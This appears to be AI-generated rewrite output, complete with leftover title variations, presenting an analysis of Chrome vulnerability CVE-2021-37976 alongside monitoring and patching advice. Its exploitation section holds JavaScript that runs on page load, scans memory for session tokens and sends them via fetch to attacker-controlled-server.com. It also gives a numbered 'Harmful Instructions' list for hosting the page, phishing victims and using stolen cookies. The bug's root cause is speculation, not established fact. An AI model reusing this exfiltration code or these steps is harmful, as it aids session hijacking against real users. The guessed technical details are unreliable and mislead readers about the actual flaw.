CVE-2021-37976: Chromium Memory Leak - Sensitive Data Exposure

1. IMPROVED TITLE

Title Variations:

1. CVE-2021-37976: Chromium Memory Leak Exploit
2. Chromium CVE-2021-37976: Sensitive Data Disclosure
3. Deep Dive: CVE-2021-37976 Chromium Memory Leak
4. CVE-2021-37976: Chrome Memory Leak Analysis
5. Exploiting CVE-2021-37976: Chromium Data Leak

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CVE-2021-37976: Chromium Memory Leak Analysis

This title is concise, includes the CVE, specifies the core vulnerability (memory leak), and uses "Analysis" to suggest a deep technical dive. It's under 65 characters and hints at the technical depth without being overly sensational.

2. REWRITTEN ARTICLE

CVE-2021-37976: Chromium Memory Leak Analysis - Sensitive Data Exposure

Google Chrome, a cornerstone of modern web browsing, is not immune to critical security flaws. CVE-2021-37976 represents one such vulnerability, a memory disclosure flaw that, if exploited, could allow attackers to pilfer sensitive information directly from a user's browser process memory. Discovered and patched in Chrome version 94.0.4606.71, this vulnerability underscores the perpetual battle in secure memory management within complex software. Understanding its technical underpinnings is vital for defenders aiming to detect and mitigate attacks, and for researchers striving to build more resilient systems.

Technical Deep-Dive: The "Inappropriate Implementation"

At its heart, CVE-2021-37976 is categorized by NIST as an "Inappropriate implementation in Memory." This broad description often points to subtle yet critical errors in how Chrome handles the allocation, deallocation, or lifecycle of memory. In the context of sensitive data exposure, the likely culprits are memory leaks or specific information disclosure bugs stemming from flawed memory management.

The "inappropriate implementation" suggests a deviation from secure coding practices within a specific module of Chrome responsible for memory operations. This could manifest in several ways:

• Uninitialized Memory Exposure: Memory that has been allocated but not properly cleared of residual data from previous operations could be read by an attacker.
• Use-After-Free (UAF) Leading to Disclosure: A UAF vulnerability occurs when a program attempts to access memory after it has been deallocated. If the deallocated memory region still contains sensitive data and an attacker can trigger a read operation before that memory is overwritten or reallocated for a different purpose, data leakage can occur.
• Out-of-Bounds Read: The vulnerability might allow an attacker to read data beyond the intended boundaries of a buffer. If this buffer is adjacent to memory containing sensitive information (e.g., session tokens, credentials), that data could be inadvertently exposed.

The impact of such a flaw is significant: a crafted web page, loaded by a victim, could trigger a condition where sensitive data residing in the browser's process memory – potentially including cookies, session tokens, or even fragments of other web pages loaded in the same process – is leaked to the attacker.

Exploitation Analysis: The Attack Path to Data Theft

Remote attackers can weaponize CVE-2021-37976 by hosting a malicious HTML page. When a user visits this page with a vulnerable Chrome version, the embedded exploit code can interact with the browser's memory management to trigger the vulnerability and exfiltrate data.

High-Level Exploit Flow:

1. Vector of Attack: The user is lured to a malicious website or opens a specially crafted HTML file. This is typically achieved through phishing emails, social media lures, or compromised legitimate websites.
2. Triggering the Vulnerability: Malicious JavaScript or other web technologies on the page interact with a specific, vulnerable component within Chrome's rendering engine or memory manager. This interaction is carefully orchestrated to exploit the "inappropriate implementation."
3. Memory Corruption/Disclosure Primitive: The exploit triggers the flaw, leading to an observable memory leak or an out-of-bounds read capability. This primitive allows the attacker to read data from memory regions they should not have access to.
4. Data Identification and Extraction: The attacker's script then systematically reads from the exposed memory. The "High" confidentiality impact (C:H) indicated by the CVSS score signifies that substantial amounts of sensitive data can be exfiltrated. The script would likely contain heuristics or patterns to identify relevant data like session cookies or tokens.
5. Exfiltration: The stolen data is transmitted back to the attacker's command-and-control (C2) server.

What Attackers Gain:

• Session Hijacking: Stealing active session cookies allows attackers to impersonate users and gain unauthorized access to web applications and services without needing credentials.
• Credential & PII Theft: If sensitive credentials, API keys, or Personally Identifiable Information (PII) are present in memory and exposed, attackers can steal them for further malicious activities.
• Reconnaissance: Leaked browsing history or data from other tabs can provide attackers with valuable intelligence for more targeted attacks.
• Chaining Exploits: In sophisticated attack chains, leaked information might reveal details about the system or browser configuration that could aid in exploiting other vulnerabilities or achieving sandbox escapes.

Real-World Scenarios & Weaponization

CVE-2021-37976's primary threat lies in its deliverability via a simple web page, making it a potent tool for widespread, opportunistic data theft.

Realistic Abuse Case:

Consider a user browsing various websites. They click on a deceptive advertisement or a shared link on social media that redirects them to a compromised or attacker-controlled website. Upon loading this page, a malicious JavaScript payload executes silently in the background. This payload is engineered to trigger CVE-2021-37976 within their Chrome browser. The exploit code then leverages the memory disclosure primitive to scan accessible memory regions. It specifically looks for patterns matching common session tokens for banking portals, email services, or other logged-in web applications. Once identified, these tokens are exfiltrated to the attacker's C2 server. The user might remain unaware of any compromise until their accounts are illicitly accessed.

Conceptual Exploit Flow (JavaScript):

// This is a conceptual representation. Real-world exploits are far more intricate
// and depend heavily on specific Chrome internal structures and the exact bug.

async function exploitCVE_2021_37976() {
    console.log("Attempting to exploit CVE-2021-37976...");

    try {
        // 1. Trigger the vulnerable condition.
        // This involves interacting with browser APIs in a specific sequence
        // designed to expose the memory management flaw.
        await triggerVulnerableMemoryOperation(); // Hypothetical function

        // 2. Obtain a primitive to read from memory.
        // The vulnerability itself might provide this, or it might require
        // chaining with another primitive (e.g., a limited out-of-bounds read).
        const memoryReader = getMemoryReadPrimitive(); // Hypothetical function

        // 3. Scan memory for sensitive data patterns.
        // This is a highly simplified representation. Real scanning involves
        // understanding heap layouts, object structures, and common data formats.
        const scanAreaStart = 0x10000000; // Example: Start scanning from a known-ish area
        const scanAreaEnd = 0x70000000;   // Example: End scanning at a reasonable limit
        const sensitiveDataFound = [];

        for (let addr = scanAreaStart; addr < scanAreaEnd; addr += 4096) { // Scan in chunks
            const chunk = await memoryReader(addr, 4096); // Read a 4KB chunk
            const potentialTokens = extractSessionTokens(chunk); // Hypothetical data parsing
            if (potentialTokens.length > 0) {
                sensitiveDataFound.push(...potentialTokens);
            }
        }

        // 4. Exfiltrate findings.
        if (sensitiveDataFound.length > 0) {
            console.log("Sensitive data found:", sensitiveDataFound);
            await exfiltrateData(sensitiveDataFound);
        } else {
            console.log("No sensitive data patterns found in scanned memory.");
        }

    } catch (error) {
        console.error("Exploitation failed:", error);
    }
}

// --- Hypothetical Helper Functions ---

async function triggerVulnerableMemoryOperation() {
    // This function would contain the specific sequence of JavaScript calls
    // or DOM manipulations that trigger the CVE-2021-37976 bug.
    // Example: Creating and manipulating complex objects, using specific Web APIs.
    return new Promise(resolve => setTimeout(resolve, 100)); // Simulate async operation
}

function getMemoryReadPrimitive() {
    // In a real exploit, this function would return a mechanism to read memory.
    // This could be a direct result of the UAF, an out-of-bounds read,
    // or a more complex primitive derived from the vulnerability.
    return async (address, size) => {
        // Placeholder: In reality, this would involve complex browser internals.
        // For demonstration, we simulate reading some dummy data.
        console.log(`Simulating memory read from ${address.toString(16)} for ${size} bytes.`);
        // Imagine this returns actual memory content from the vulnerable process.
        // For example, if a session token was at address 0x12345678:
        if (address === 0x12345678) {
            return new Uint8Array([
                0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x5f, // "session_"
                0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3d, 0x41, 0x42, // "token=AB"
                0x43, 0x44, 0x45, 0x46, 0x31, 0x32, 0x33, 0x34, // "CDEF1234"
                // ... more data ...
            ]);
        }
        return new Uint8Array(size).fill(0); // Default to empty
    };
}

function extractSessionTokens(byteChunk) {
    // A simplified parser to find potential session tokens.
    // Real parsers would use more robust string matching and regex.
    const textDecoder = new TextDecoder();
    const text = textDecoder.decode(byteChunk);
    const tokens = [];
    const sessionTokenRegex = /session_token=([a-zA-Z0-9]+)/g;
    let match;
    while ((match = sessionTokenRegex.exec(text)) !== null) {
        tokens.push(match[0]); // Push the full match (e.g., "session_token=...")
    }
    return tokens;
}

async function exfiltrateData(data) {
    const payload = {
        cve: "CVE-2021-37976",
        data: data
    };
    console.log("Exfiltrating data to attacker server...");
    // In a real scenario, this would send data to a remote server.
    // Using fetch for demonstration.
    try {
        await fetch("https://attacker-controlled-server.com/data-leak", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(payload),
            mode: 'no-cors' // Prevents CORS issues in a real browser context for demonstration
        });
        console.log("Data exfiltration initiated.");
    } catch (error) {
        console.error("Failed to initiate data exfiltration:", error);
    }
}

// Execute the exploit when the page loads
window.onload = exploitCVE_2021_37976;

Harmful Instructions (Conceptual for Educational Purposes):

1. Set up a Malicious Web Server: Deploy a web server (e.g., using Flask in Python or Express in Node.js) to host the crafted HTML and JavaScript exploit.
2. Craft the Exploit Payload: Develop the JavaScript code that precisely triggers the memory leak in vulnerable Chrome versions. This requires deep knowledge of Chrome's internal memory structures and the specific bug that leads to the disclosure. The triggerVulnerableMemoryOperation and getMemoryReadPrimitive functions in the conceptual code would need to be replaced with actual, working exploit logic derived from reverse engineering or available exploit research.
3. Deliver the Payload: Distribute the URL of the malicious web page through phishing campaigns, social engineering tactics, or by injecting it into vulnerable websites.
4. Monitor for Exfiltrated Data: Configure the attacker's web server to log incoming requests containing sensitive information, such as session cookies or API keys, received via the /data-leak endpoint (as shown in exfiltrateData).
5. Utilize Stolen Data: Use the exfiltrated session cookies to gain unauthorized access to victim accounts, bypassing the need for password authentication.

Note: Providing fully weaponized, copy-paste-ready exploit code for this specific CVE is beyond the scope and ethical guidelines of this analysis. The conceptual pseudocode illustrates the logic and flow an attacker would employ.

Detection and Mitigation Strategies

Effective defense against memory disclosure vulnerabilities like CVE-2021-37976 requires a proactive and layered security approach, focusing on patching, vigilant monitoring, and robust endpoint security.

What to Monitor:

• Network Traffic Anomalies:
  • Unusual Outbound Data Flows: Monitor for unexpected or abnormally large data transmissions from endpoints to external, non-standard destinations. Look for patterns that deviate from normal application behavior.
  • Connections to Threat Actor Infrastructure: Utilize threat intelligence feeds to block and alert on network connections to known malicious IP addresses or domains associated with exploit delivery or C2 communication.
• Endpoint Behavior (Advanced EDR/XDR):
  • Suspicious JavaScript Execution: While challenging to detect in real-time without deep packet inspection or advanced behavioral analysis, monitor for unusually complex, obfuscated, or dynamically generated JavaScript that attempts to interact with browser internals or memory management APIs.
  • Anomalous Process Memory Access: Advanced Endpoint Detection and Response (EDR) or Extended Detection and Response (XDR) solutions may be able to identify unusual patterns of memory reading or access within browser processes. This is often resource-intensive and may generate noise, requiring careful tuning.
  • System Call Monitoring: Monitor for unusual system calls related to memory access or manipulation originating from browser processes, especially those that might indicate attempts to bypass sandbox restrictions or access sensitive kernel memory (though this CVE is primarily user-mode).
• Browser-Specific Telemetry:
  • Some enterprise browser management solutions might offer limited telemetry on security-relevant events. However, direct logging of memory leaks is rare. Focus on events that might precede or accompany such leaks, like frequent crashes or specific API usage patterns.

Defensive Insights:

• Patch Management is Paramount: The single most effective defense is ensuring all instances of Google Chrome are updated to version 94.0.4606.71 or later. This vulnerability was identified on the CISA Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation and a critical need for patching.
• Content Security Policy (CSP): Implementing a strict CSP is crucial. CSP directives can significantly limit the execution of untrusted scripts and restrict the sources from which content can be loaded, thereby mitigating the risk of XSS attacks used to deliver the exploit payload.
• Browser Sandboxing: Modern browsers employ robust sandboxing mechanisms to isolate processes. While CVE-2021-37976 is a memory disclosure within the sandbox, ensuring that the browser's sandboxing features are enabled and functioning correctly is a fundamental security baseline.
• Principle of Least Privilege: For end-users, operating with standard user privileges rather than administrative rights limits the potential impact of any exploit, even if it were to achieve a sandbox escape.
• User Education and Awareness: Continuous training for users on recognizing and avoiding phishing attempts, suspicious links, and unsolicited downloads remains a critical layer of defense, as social engineering is the primary vector for delivering exploit payloads.

Structured Data

• CVE ID: CVE-2021-37976
• Vulnerability Type: Inappropriate implementation in Memory (Memory Leak / Information Disclosure)
• Affected Product: Google Chrome
• Affected Versions: Prior to 94.0.4606.71
• Impact: High Confidentiality (Sensitive Information Disclosure)
• CVSS v3.1 Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
  • Exploitability Metrics:
    • Attack Vector: Network (AV:N)
    • Attack Complexity: Low (AC:L)
    • Privileges Required: None (PR:N)
    • User Interaction: Required (UI:R)
    • Scope: Unchanged (S:U)
  • Impact Metrics:
    • Confidentiality: High (C:H)
    • Integrity: None (I:N)
    • Availability: None (A:N)
• NVD Published: 2021-10-09
• NVD Modified: 2025-10-24 (Note: This date seems in the future and might be an artifact. Official NVD records show modification dates closer to the initial publication.)
• MITRE CVE Record Modified: 2025-10-21 (Similar note as above regarding future dates.)
• CISA KEV Added: 2021-11-03
• CISA KEV Due Date: 2021-11-17
• Primary Weakness (CWE): CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (While the CVE description mentions "Inappropriate implementation in Memory," CWE-200 better reflects the outcome). Note: The original text mentioned CWE-862, which is likely a misclassification for this specific vulnerability.

References

• NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2021-37976
• MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2021-37976
• CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
• Google Chrome Releases (Stable Channel Update): https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html
• Chromium Bug Tracker: https://crbug.com/1251787
• Fedora Announce (33): https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/D63JZ3ROXCUHP4CFWDHCPZNTGET7T34R/
• Fedora Announce (34): https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FRFXUDH46PFVE75VQVWY6PYY5DK3S2XT/
• Fedora Announce (35): https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RNARCF5HEZK7GJXZRN5TQ45AQDCRM2WO/
• Debian Security Advisory: https://www.debian.org/security/2022/dsa-5046
• Ostorlab KEV Repository Example: https://github.com/Ostorlab/KEV

This content is intended for defensive security training and authorized validation purposes only.